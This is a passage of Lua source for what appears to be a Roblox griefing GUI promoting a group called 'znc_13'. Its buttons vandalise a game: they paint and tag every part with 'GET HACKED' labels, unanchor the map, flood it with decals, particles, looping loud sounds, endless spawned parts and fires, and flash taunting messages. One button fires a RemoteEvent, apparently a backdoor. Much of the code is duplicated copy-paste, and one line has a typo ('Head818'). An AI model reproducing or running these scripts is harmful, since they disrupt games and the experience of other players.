wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_15);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_17()
local script = G2L["17"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='GET HACKED MY TEAM znc_13 JOIN TODAY';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_17);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_19()
local script = G2L["19"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_19);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1b()
local script = G2L["1b"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_1b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1d()
local script = G2L["1d"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_1d);
-- StarterGui.ScreenGui.Frame.close.LocalScript
local function C_1f()
local script = G2L["1f"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.Parent.Visible = false
end)
end;
task.spawn(C_1f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_22()
local script = G2L["22"];
function click()
while true do
local team1 = Instance.new("Team", game.Teams)
team1.Name = "TEAM znc_13!"
team1.TeamColor = BrickColor.random()
game:service'Debris':AddItem(team1,0.3)
wait()
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_22);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_24()
local script = G2L["24"];
script.Parent.MouseButton1Click:Connect(function()
while true do
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
wait()
doom=Instance.new("Part")
local imnotfat = math.random(1, 3)
if imnotfat == 1 then
doom.Shape = "Ball"
else if imnotfat == 2 then
doom.Shape = "Cylinder"
else
end end
doom.Material = "Neon"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
yooka=math.random(-200, -50)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, yooka, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, 800, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
communism=math.random(0,3)
crex=math.random(3,100)
obesity=math.random(-500, 500)
positivity=math.random(100, 600)
IEndorseThese=math.random(-500, 500)
doom=Instance.new("Part")
doom.Shape = "Ball"
doom.Size = Vector3.new(crex, crex, crex)
doom.Position = Vector3.new(obesity, positivity, IEndorseThese)
doom.Color = Color3.new(math.random(), math.random(), math.random())
doom.Velocity=Vector3.new(communism, communism, communism)
doom.Parent = game.Workspace
end
end)
end;
task.spawn(C_24);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_26()
local script = G2L["26"];
function click()
while wait(0.4) do
xd = Instance.new("Message",workspace)
xd.Text = "GET REKTED BY TEAM znc_13!"
wait(0.4)
xd:Remove()
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_26);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_29()
local script = G2L["29"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_29);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2c()
local script = G2L["2c"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game:GetService("Players"):GetChildren()) do
if v:IsA("Player") then
local gui = Instance.new("BillboardGui",v.Character.Head)
gui.Adornee = v.Character.Head
gui.Size = UDim2.new(0,100,0,150)
gui.StudsOffset = Vector3.new(0,1,0)
local text = Instance.new("TextLabel",gui)
text.Text = "znc_13 TEAM IS HERE !"
text.Position = UDim2.new(0,0,0,-50)
text.Size = UDim2.new(0,100,0,100)
text.BackgroundTransparency = 0.1
text.TextScaled = true
end
end
end)
end;
task.spawn(C_2c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
script.Parent.MouseButton1Down:Connect(function()
for i,v in pairs(game.Workspace:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do
if v:IsA("BasePart") then
v.Anchored = false
end
end
end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
function click()
for _,player in pairs(game.Players:GetPlayers()) do
spawn(function()
while wait(0.7) do
player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random()
player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random()
end
end)
end
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_32()
local script = G2L["32"];
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
